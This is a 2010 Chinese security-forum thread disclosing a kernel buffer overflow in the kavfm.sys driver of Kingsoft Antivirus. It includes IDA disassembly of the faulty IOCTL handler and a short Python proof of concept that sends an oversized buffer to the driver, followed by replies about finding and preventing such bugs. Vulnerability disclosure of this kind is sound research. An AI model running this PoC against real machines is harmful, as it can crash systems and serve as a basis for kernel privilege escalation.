首页
社区
课程
招聘
[原创]金山毒霸2011内核溢出漏洞
发表于: 2010-9-13 14:23 14627

[原创]金山毒霸2011内核溢出漏洞

dge 活跃值
6
2010-9-13 14:23
14627

这个漏洞是我7月份报告给金山的,漏洞存在于kavfm.sys中,它没有正确处理用户提交的参数,因此导致了这个溢出漏洞。
在新版本中,这个驱动被去掉了。

影响版本:Kingsoft Antivirus <=v2010.04.26.648

漏洞分析:

.text:00012160
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp
.text:00012160
.text:00012160 var_44          = byte ptr -44h
.text:00012160 var_4           = dword ptr -4
.text:00012160 arg_4           = dword ptr  0Ch
.text:00012160
.text:00012160                 push    ebp
.text:00012161                 mov     ebp, esp
.text:00012163                 mov     ecx, [ebp+arg_4]
.text:00012166                 mov     eax, [ecx+60h]
.text:00012169                 sub     esp, 44h
.text:0001216C                 push    ebx
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
.text:00012173                 push    esi
.text:00012174                 add     eax, 7FFCFFFCh
.text:00012179                 xor     esi, esi
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases
.text:0001217E                 push    edi
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]
.text:00012182                 ja      loc_122E0       ; default
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39
.text:00012188                 movzx   eax, ds:byte_1231C[eax]
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump
.text:00012196
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength,是我们可控制的。
.text:00012197                 lea     ecx, [ebp+var_44];
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。
.text:0001219B                 push    ecx             ; char *
.text:0001219C                 call    strncpy        
.text:000121A1                 add     esp, 0Ch
.text:000121A4                 lea     edx, [ebp+var_44]
.text:000121A7                 push    edx
.text:000121A8                 mov     [ebp+ebx+var_44], 0
.text:000121AD                 call    sub_15410
.text:000121B2                 pop     edi
.text:000121B3                 mov     esi, eax
.text:000121B5                 pop     esi
.text:000121B6                 pop     ebx
.text:000121B7                 mov     esp, ebp
.text:000121B9                 pop     ebp
.text:000121BA                 retn    8

poc:

#!/usr/bin/python

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\\\.\\kavfm"
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                                                0, None, CREATE_ALWAYS, 0, None)
    in_data=1024*'\x80'
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)

EOF


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (22)
雪    币: 234
活跃值: (83)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
2
ring0下对ring3的进程都没有进行过滤么
2010-9-13 14:46
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
3
学习,谢谢 lz
2010-9-13 15:00
0
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很想知道楼主是如何发现的。。
2010-9-13 15:11
0
雪    币: 24
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
记得发到softrce,哈哈
2010-9-13 17:47
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
随意让人DeviceIoControl很蛋疼啊...
2010-9-13 18:14
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
7
我觉得不让人随意DeviceIoControl才蛋疼。为什么不让人随意,追其原因是因为写不出安全的代码。
2010-9-13 18:19
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
8
SOFTRCE的密码老是忘,所以发的晚了些
2010-9-13 18:29
0
雪    币: 263
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
现在的安全软件其实不安全,大部分安全软件驱动都存在类似于这样的问题,不知道为什么,搞驱动的人总是没有安全的编码意识,这点还真应该多学学3XX
2010-9-14 10:42
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
10
膜拜强大的dge兄弟!!!
2010-9-14 10:43
0
雪    币: 114
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
我的妈来,我用的就是这个版本的,我想知道你是怎么去分析出这个漏洞的呢?叹自己的技术太菜
2010-9-14 12:21
0
雪    币: 308
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
不错,顶一个。。。
2010-9-14 12:50
0
雪    币: 6790
活跃值: (4441)
能力值: (RANK:600 )
在线值:
发帖
回帖
粉丝
13
杀软的驱动文件本来不多(就那么几个),IDA一下,再去有限的几个IRP派遣例程或者是进入IoControl例程里,看看与用户态通信的代码就能发现点端倪,看看hook函数也会有收获。
2010-9-14 16:20
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
14
楼上的兄弟说的很对,能看懂汇编,了解点驱动相关知识,知道strncpy怎么用,就能发现这个漏洞。
2010-9-14 16:42
0
雪    币: 81
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
很厉害。。。我想知道是怎么发现的
2010-9-14 16:58
0
雪    币: 150
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
dge大哥是东软的,膜拜下
2010-9-14 19:15
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
17
呵呵,在东软旁边上过班~
2010-9-14 20:38
0
雪    币: 34
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
不让人随意DeviceIoControl的原因不止这一个
举个另外的原因:比如xuetr的驱动,如果打上数字签名,这个驱动还可以让人随意DeviceIoControl吗?如果可以,以现在大部分的av,hips都是放行PreviousMode==KernelMode的操作这特点,基本99%的av,hips都会蛋疼死了.正规的打数字签名的类似的软件也不是没有.

验证ring3进程就好比给车子装个安全气囊,以此来加大漏洞利用难度,并不是说装了安全气囊就可以让司机乱开车.这就好象GS选项存在的意义.
2010-9-14 21:18
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
19
学习了,分析得很好。只是我看不懂脚本语言。
2010-9-15 08:49
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
20
恩,我说的片面了些,我只是想强调加了这种验证并不能解决存在漏洞的问题,提高驱动开发者的编码水平才是王道。
2010-9-15 09:48
0
雪    币: 57
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
21
不错   学习了
2010-9-15 17:32
0
雪    币: 35
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
谢谢楼主分享..慢慢学习
2010-9-16 17:24
0
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
学习了。LZ厉害。火眼金睛!!!
2010-9-21 02:05
0
游客
登录 | 注册 方可回帖
返回
//